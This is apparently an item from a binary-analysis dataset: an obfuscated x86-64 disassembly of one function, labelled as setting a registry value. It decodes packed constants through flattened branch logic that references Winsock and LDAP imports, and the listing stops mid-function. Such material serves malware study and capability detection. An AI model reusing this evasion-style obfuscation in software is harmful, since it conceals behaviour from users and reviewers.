Function at 0x140210ee0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov r15, qword [0x1404e35c8]
xorps xmm0, xmm0
mov r12, qword [0x1404e35d0]
movabs rsi, 0x5b7862c010f3046e
mov qword [rbp + 0x67], 0
movabs r13, 0x414ee02186e70036
movzx r11d, byte [rbp + 0x67]
mov r14, 0xffffffffffffffff
movups xmmword [rbp + 0x19], xmm0
mov dword [rbp + 7], 0x43db4dfb
mov dword [rbp + 0xb], 0x47df41d2
mov dword [rbp + 0xf], 0x3bae45d3
mov dword [rbp + 0x13], 0x3fa8399d
mov word [rbp + 0x17], 0x3d3c
mov r8, r12
mov r9, r15
nop dword [rax]
xor edi, edi
cmp rdi, 0x22
jae 0x140211a91
movzx ebx, byte [rbp + rdi + 7]
mov edx, ebx
cmp r8, rdi
ja 0x140211a88
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140210fad
lea r11, [rdi + r13]
movzx eax, dl
and al, r11b
add al, al
sub r11b, al
sub r11b, 0x7a
add r11b, bl
jmp 0x140210fe6
je 0x140211a19
inc rax
cmp r8, rax
je 0x1402119a5
lea rax, [r9 + 3]
cmp r8, rax
je 0x140211975
lea rax, [r9 + 7]
cmp r8, rax
je 0x140211956
lea rax, [r9 + 4]
cmp r8, rax
je 0x140211914
cmp r9, rdi
ja 0x140211a7f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14021100f
lea rcx, [rdi + rsi]
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 2
jmp 0x140211050
je 0x1402118f4
inc rax
cmp r8, rax
je 0x1402118d0
lea rax, [r9 + 3]
cmp r8, rax
je 0x14021187c
lea rax, [r9 + 7]
cmp r8, rax
je 0x14021185e
lea rax, [r9 + 4]
cmp r8, rax
je 0x140211832
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1402115ae
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140211590
lea rax, [r9 + 8]
cmp r8, rax
je 0x14021156e
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14021154f
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140211531
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140211505
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1402114dc
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1402114c3
lea rax, [r9 + 2]
cmp r8, rax
je 0x1402114aa
lea rax, [r9 + 5]
cmp r8, rax
je 0x140211483
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140211060
lea r8, [r9 + 6]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140211a63
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140211a47
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14021124c
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140211233
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14021121a
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14021143b
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1402113e9
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1402113af
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14021138e
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140211060
lea r8, [r9 + 4]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140211367
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14021134e
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140211335
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14021130c
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1402112e0
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1402112c3
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1402112a4
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140211282
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140211265
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140211060
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 8]
jmp 0x140211060
lea ecx, [rdi + 0x52]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3e
jmp 0x140211050
lea ecx, [rdi - 0x1a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4a
jmp 0x140210fe6
lea ecx, [rdi + 0x7a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x56
jmp 0x140210f83
lea ecx, [rdi + 0x70]
movzx r10d, dil
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x14021192d
lea ecx, [rdi + 4]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
inc rdi
jmp 0x140210f72
lea ecx, [rdi - 0x68]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
inc rdi
jmp 0x140210f72
lea ecx, [rdi + 0x2c]
movzx r10d, dil
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
jmp 0x14021189a
lea ecx, [rdi - 0x40]
add r8, r9
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
mov rcx, r14
sub r11b, 0x40
movzx eax, r11b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140210f72
lea ecx, [rdi + 0x54]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
mov rcx, r14
sub r11b, 0x4c
movzx eax, r11b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140210f72
lea ecx, [rdi - 0x18]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x1402119c0
lea ecx, [rdi + 0x7c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
jmp 0x1402119e5
lea ecx, [rdi + 0x10]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi + 7]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 0x70
inc rdi
jmp 0x140210f72
lea ecx, [rdi + 2]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
mov byte [rbp + rdi + 7], r11b
inc rdi
jmp 0x140210f72
lea ecx, [rdi - 0x6a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1a
cmp r9, 0x64
jb 0x1402113a2
movzx r10d, dil
lea ecx, [r10 - 0x7c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x38]
jmp 0x14021192d
lea ecx, [rdi + 0x2a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x26
cmp r8, 1
jae 0x1402117f4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14021174e
lea ecx, [rdi - 0x48]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi + 7]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 8
inc rdi
jmp 0x140210f72
lea ecx, [rdi - 0x42]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x32
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x140211817
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x140211687
lea ecx, [rdi - 0x22]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x12
jmp 0x1402113fd
lea ecx, [rdi - 0x6c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi + 7]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 0xc
inc rdi
jmp 0x140210f72
lea ecx, [rdi + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
jmp 0x1402119e5
lea ecx, [rdi - 0x44]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
jmp 0x1402119c0
lea ecx, [rdi + 0x50]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
mov rcx, r14
sub r11b, 0x30
movzx eax, r11b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140210f72
lea ecx, [rdi - 0x1c]
add r8, r9
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
mov rcx, r14
sub r11b, 0x3c
movzx eax, r11b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140210f72
movzx r10d, dil
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
jmp 0x14021189a
lea ecx, [rdi + 0xc]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
inc rdi
jmp 0x140210f72
lea ecx, [rdi - 0x60]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
inc rdi
jmp 0x140210f72
movzx r10d, dil
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
jmp 0x14021192d
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1402115d0
lea ecx, [rdi + 0x36]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7a
jmp 0x14021144f
jne 0x1402115f9
lea ecx, [rdi - 0x24]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi + 7]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 4
inc rdi
jmp 0x140210f72
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140211620
lea edx, [rdi - 0x4c]
mov ecx, 0xa
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1402119c0
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140211657
lea edx, [rdi + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
mov rcx, r14
add r11b, dl
add r11b, bl
movzx eax, r11b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140210f72
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14021144f
mov ecx, reloc.WLDAP32.dll_Ordinal_46
movzx r10d, dil
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14021192d
jne 0x1402116a7
movzx r10d, dil
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 6
jmp 0x14021192d
inc rax
cmp r8, rax
jne 0x1402116d3
lea edx, [rdi + 0x22]
mov ecx, 9
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x140210f72
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1402116ee
movzx r10d, dil
mov ecx, reloc.WS2_32.dll_ntohs
lea edx, [r10 - 0x72]
jmp 0x140211889
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140211715
lea edx, [rdi - 0x2e]
mov ecx, reloc.WLDAP32.dll_Ordinal_33
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1402119c0
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1402113fd
lea edx, [rdi - 0x56]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi + 7]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x140210f72
inc rax
cmp r8, rax
jne 0x140211774
lea edx, [rdi + 0x24]
mov ecx, 2
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1402119e5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14021179b
lea edx, [rdi - 0x70]
mov ecx, 8
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1402119c0
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1402117d5
lea edx, [rdi + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
add r8, r9
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
mov rcx, r14
add r11b, dl
add r11b, bl
movzx eax, r11b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140210f72
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1402113c3
movzx r10d, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_26
lea edx, [r10 - 0x2c]
jmp 0x140211889
movzx ecx, byte [rbp + rdi + 7]
movzx r10d, dil
lea edx, [r10 - 0x10]
movzx eax, dl
and al, bl
sub cl, al
add cl, 0x38
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x14021189a
lea edx, [rdi + 0x5c]
mov ecx, 0x3e
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1402119c0
lea edx, [rdi + 0x3a]
mov ecx, gethostname
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi + 7]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x140210f72
lea edx, [rdi + 0x62]
mov ecx, reloc.WLDAP32.dll_Ordinal_41
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1402119c0
movzx r10d, dil
mov ecx, reloc.WS2_32.dll_socket
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r10b, 0x26
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0xa
add r10b, bl
add r10b, r11b
mov byte [rbp + rdi + 7], r10b
movzx eax, r11b
mov rcx, r14
sub rcx, rax
add r8, r9
add rdi, rcx
inc rdi
jmp 0x140210f72
lea edx, [rdi - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x140210f72
mov ecx, 5
movzx r10d, dil
lea edx, [r10 - 0x26]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14021192d
movzx r10d, dil
lea ecx, [r10 + 2]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
sub r10b, 0x46
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x16
add r10b, bl
mov byte [rbp + rdi + 7], r10b
inc r9
dec rdi
inc rdi
jmp 0x140210f72
lea ecx, [rdi + 0x2a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x26
dec rdi
inc rdi
jmp 0x140210f72
movabs rax, 0x4bc5e12dbe1f01e6
add rax, rdi
and dl, al
add dl, dl
sub al, dl
lea r11d, [rbx + rax]
sub r11b, 0x4a
movzx eax, r11b
mov rcx, r14
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140210f72
movabs rax, 0xc92820eab051017a
add rax, rdi
and dl, al
add dl, dl
sub al, dl
lea r11d, [rbx + rax]
sub r11b, 0x56
lea edx, [rdi - 0x6e]
inc r9
movzx eax, dl
mov ecx, 1
and al, bl
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 7], al
add rax, r9
sub rdi, rax
lea ecx, [rdi - 0x38]
inc r8
movzx eax, cl
and al, bl
add al, al
sub cl, al
mov rax, r14
sub rax, r8
sub cl, 0x78
add cl, bl
mov byte [rbp + rdi + 7], cl
add rdi, rax
movzx eax, byte [rbp + rdi + 7]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140210f72
movabs rax, 0xc3eca06494b500a2
add rax, rdi
and dl, al
add dl, dl
sub al, dl
lea r11d, [rbx + rax]
sub r11b, 0x6e
movzx eax, byte [rbp + rdi + 7]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140210f72
add dil, 0xe
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r11d, [rbx + rdi]
sub r11b, 0x62
jmp 0x140210f70
sub dil, 0x5e
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r11d, [rbx + rdi]
sub r11b, 0x6e
jmp 0x140210f63
lea rsi, [rbp + 0x174244f]
jmp 0x140211a95
lea rsi, [rbp + 0x9b2485]
jmp 0x140211a95
lea rsi, [rbp + 7]
movzx r11d, byte [rbp + 0x67]
xorps xmm0, xmm0
xor eax, eax
mov dword [rbp - 0x19], 0x3040536
movups xmmword [rbp - 0x15], xmm0
mov byte [rbp - 5], al
movabs rdi, 0x38b77a91c23c9903
movabs r13, 0xbd927e3096143301
mov rax, r12
mov r9, r15
nop word [rax + rax]
xor ebx, ebx
movabs rdx, 0xaa266fb546b5cb09
cmp rbx, 0x15
jae 0x140212448
movzx r10d, byte [rbp + rbx - 0x19]
mov r8d, r10d
nop
cmp rax, rbx
ja 0x14021243f
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x140211b1a
movzx ecx, r8b
lea rdx, [rbx + r13]
and cl, dl
add cl, cl
sub r8b, cl
sub r8b, 7
add r8b, dl
jmp 0x140211b57
je 0x1402123d6
inc rcx
cmp rax, rcx
je 0x14021237b
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140212350
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1402122f1
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x1402122cd
movzx r8d, r11b
cmp r9, rbx
ja 0x140212436
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jae 0x140211b80
lea edx, [rbx + 0x15]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x6d
jmp 0x140211bb3
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x14021227b
inc rcx
cmp rax, rcx
je 0x14021225a
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x14021222c
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x140212203
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x140211f06
lea rcx, [r9 + 0x64]
cmp rax, rcx
je 0x140211ee6
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x140211ec5
lea rcx, [r9 + 0x7a]
cmp rax, rcx
je 0x140211e97
lea rcx, [r9 + 0x40]
cmp rax, rcx
je 0x140211e77
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x140211e4e
lea rax, [r9 + 0x1000]
lea r9, [rax + 0x1000]
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jb 0x14021241b
lea rcx, [r9 + 0x20]
cmp rax, rcx
jb 0x140212400
lea rcx, [r9 + 2]
cmp rax, rcx
jb 0x140211caf
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
jb 0x140211dcd
lea rcx, [r9 + 0xa]
cmp rax, rcx
jb 0x140211d84
lea rcx, [r9 + 0x2a]
cmp rax, rcx
jb 0x140211bc0
mov rax, rcx
lea r9, [rcx + 0x2a]
lea rcx, [r9 + 0x80]
cmp rax, rcx
ja 0x140211d5b
lea rcx, [r9 + 8]
cmp rax, rcx
ja 0x140211d3b
lea rcx, [r9 + 0x41]
cmp rax, rcx
ja 0x140211d0d
lea rcx, [r9 + 0x42]
cmp rax, rcx
ja 0x140211cec
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x140211cc9
lea rax, [r9 + 0x61]
lea r9, [rax + 0x61]
jmp 0x140211bc0
lea edx, [rbx - 0x77]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x41
jmp 0x140211b57
lea edx, [rbx - 0x58]
mov r11d, gethostname
movzx ecx, dl
movzx edi, bl
and cl, r10b
sub r11b, cl
add r11b, r11b
add r11b, dl
add r11b, r10b
jmp 0x140212299
lea edx, [rbx - 0x5c]
movzx ecx, r10b
and cl, dl
dec rbx
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
sub r11b, 0x7c
inc rbx
jmp 0x140211ad2
lea edx, [rbx - 0x60]
movzx ecx, r10b
and cl, dl
add rax, r9
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
mov rdx, r14
sub r11b, 0x60
movzx ecx, r11b
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140211ad2
lea r8d, [rbx - 0x64]
movzx ecx, r10b
and cl, r8b
movzx r11d, r10b
add cl, cl
movzx edi, bl
sub r11b, cl
sub r11b, 0x44
jmp 0x1402121c9
lea edx, [rbx - 0x68]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
movzx ecx, byte [rbp + rbx - 0x19]
add rcx, r9
add rbx, rcx
lea r11d, [rdx + r10]
sub r11b, 0x28
inc rbx
jmp 0x140211ad2
lea edx, [rbx - 0x6f]
movzx ecx, r10b
and cl, dl
movzx r8d, r10b
add cl, cl
sub r8b, cl
add r8b, 9
add r8b, dl
cmp r9, 9
jb 0x14021217e
mov edx, reloc.WLDAP32.dll_Ordinal_27
movzx edi, bl
movzx ecx, r10b
lea r8d, [rdi + 0x66]
and cl, r8b
sub dl, cl
add dl, dl
add dl, r10b
add dl, r8b
lea r11d, [rdx + rdx]
jmp 0x140212299
lea edx, [rbx - 0x73]
movzx ecx, r10b
and cl, dl
movzx r8d, r10b
add cl, cl
sub r8b, cl
add r8b, 0x25
add r8b, dl
lea rcx, [r9 + rax]
cmp rcx, 8
je 0x1402121b0
lea rcx, [r9 + 8]
cmp rax, rcx
jbe 0x140211fbc
lea r8d, [rbx + 0x3d]
movzx ecx, r10b
and cl, r8b
movzx edx, r10b
add cl, cl
add r8b, 0x55
sub dl, cl
add r8b, dl
cmp rax, 0x28
jae 0x14021218f
lea rcx, [r9 + 3]
cmp rax, rcx
jbe 0x1402120cc
lea r8d, [rbx + 0x52]
movzx ecx, r10b
and cl, r8b
movzx edx, r10b
add cl, cl
sub dl, cl
sub r8b, 0x3e
jmp 0x140211d9a
lea edx, [rbx + 0x7e]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
movzx ecx, byte [rbp + rbx - 0x19]
add rcx, r9
add rbx, rcx
lea r11d, [rdx + r10]
sub r11b, 0x72
inc rbx
jmp 0x140211ad2
movzx edi, bl
movzx ecx, r10b
movzx r11d, r10b
lea r8d, [rdi + 0x7a]
and cl, r8b
add cl, cl
sub r11b, cl
sub r11b, 0x56
jmp 0x1402121c9
lea edx, [rbx + 0x76]
movzx ecx, r10b
and cl, dl
add rax, r9
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
mov rdx, r14
sub r11b, 0x3a
movzx ecx, r11b
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140211ad2
lea edx, [rbx + 0x72]
movzx ecx, r10b
and cl, dl
dec rbx
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
sub r11b, 0x1e
inc rbx
jmp 0x140211ad2
movzx edi, bl
movzx ecx, r10b
movzx r11d, r10b
lea r8d, [rdi + 0x6e]
and cl, r8b
add cl, cl
sub r11b, cl
sub r11b, 2
jmp 0x140212296
lea rcx, [r9 + 2]
cmp rax, rcx
jae 0x140211f2a
lea edx, [rbx + 1]
movzx ecx, r10b
and cl, dl
movzx r8d, r10b
add cl, cl
sub r8b, cl
sub r8b, 7
jmp 0x140211de3
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140211f5c
lea edx, [rbx + 0x2a]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
movzx ecx, byte [rbp + rbx - 0x19]
add rcx, r9
add rbx, rcx
lea r11d, [rdx + r10]
sub r11b, 0x26
inc rbx
jmp 0x140211ad2
inc rcx
cmp rax, rcx
jne 0x140211f84
movzx edi, bl
movzx ecx, r10b
movzx r11d, r10b
lea r8d, [rdi + 0x2e]
and cl, r8b
add cl, cl
sub r11b, cl
sub r11b, 0x42
jmp 0x1402121c9
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140211de6
lea edx, [rbx + 0x30]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
mov rdx, r14
sub r11b, 0x50
movzx ecx, r11b
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140211ad2
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140211fe5
movzx edi, bl
movzx ecx, r10b
movzx r11d, r10b
lea r8d, [rdi + 0x3f]
and cl, r8b
add cl, cl
sub r11b, cl
add r11b, 0x47
jmp 0x140212296
inc rcx
cmp rax, rcx
jne 0x140212011
lea edx, [rbx + 0x41]
movzx ecx, r10b
and cl, dl
inc r9
add cl, cl
dec rbx
sub r10b, cl
lea r11d, [rdx + r10]
add r11b, 0x39
inc rbx
jmp 0x140211ad2
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14021203a
lea r8d, [rbx + 0x45]
movzx ecx, r10b
and cl, r8b
movzx r11d, r10b
add cl, cl
movzx edi, bl
sub r11b, cl
add r11b, 0x1d
jmp 0x14021230c
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x14021206d
lea edx, [rbx + 0x49]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
mov rdx, r14
inc r11b
movzx ecx, r11b
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140211ad2
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x140212096
movzx edi, bl
movzx ecx, r10b
movzx r11d, r10b
lea r8d, [rdi + 0x4b]
and cl, r8b
add cl, cl
sub r11b, cl
sub r11b, 0xd
jmp 0x1402121c9
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x140211e1b
lea edx, [rbx + 0x4f]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
movzx ecx, byte [rbp + rbx - 0x19]
add rcx, r9
add rbx, rcx
lea r11d, [rdx + r10]
sub r11b, 0x29
inc rbx
jmp 0x140211ad2
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1402120fe
lea edx, [rbx + 0x54]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
movzx ecx, byte [rbp + rbx - 0x19]
add rcx, r9
add rbx, rcx
lea r11d, [rdx + r10]
sub r11b, 0x4c
inc rbx
jmp 0x140211ad2
inc rcx
cmp rax, rcx
jne 0x140212126
movzx edi, bl
movzx ecx, r10b
movzx r11d, r10b
lea r8d, [rdi + 0x58]
and cl, r8b
add cl, cl
sub r11b, cl
sub r11b, 0x68
jmp 0x1402121c9
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x140212150
mov edx, gethostname
movzx edi, bl
movzx ecx, r10b
lea r8d, [rdi + 0x5e]
and cl, r8b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
jmp 0x14021230c
lea rcx, [r9 + 9]
cmp rax, rcx
jne 0x140211d9d
mov edx, Ordinal_35
movzx edi, bl
movzx ecx, r10b
lea r8d, [rdi + 0x64]
and cl, r8b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
jmp 0x140212296
mov byte [rbp + rbx - 0x19], r8b
movzx r11d, r8b
inc rbx
jmp 0x140211ad2
movzx edx, byte [rbp + rbx - 0x19]
movzx edi, bl
movzx ecx, r10b
lea r8d, [rdi + 0x68]
and cl, r8b
sub dl, cl
add dl, 0x14
lea r11d, [rdx + rdx]
jmp 0x14021230c
mov edx, reloc.WS2_32.dll_listen
movzx edi, bl
movzx ecx, r10b
lea r8d, [rdi + 0x6a]
and cl, r8b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add dil, 0x6b
inc r9
movzx ecx, dil
and cl, r10b
add cl, cl
sub dil, cl
add dil, 0x13
add dil, r10b
movzx ecx, dil
movabs rdi, 0x38b77a91c23c9903
mov byte [rbp + rbx - 0x19], cl
add rcx, r9
sub rbx, rcx
jmp 0x140212399
lea edx, [rbx + 0x27]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
movzx ecx, byte [rbp + rbx - 0x19]
add rcx, r9
add rbx, rcx
lea r11d, [rdx + r10]
sub r11b, 0x11
inc rbx
jmp 0x140211ad2
lea edx, [rbx + 0x1f]
movzx ecx, r10b
and cl, dl
add rax, r9
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
mov rdx, r14
add r11b, 0x27
movzx ecx, r11b
sub rdx, rcx
add rbx, rdx
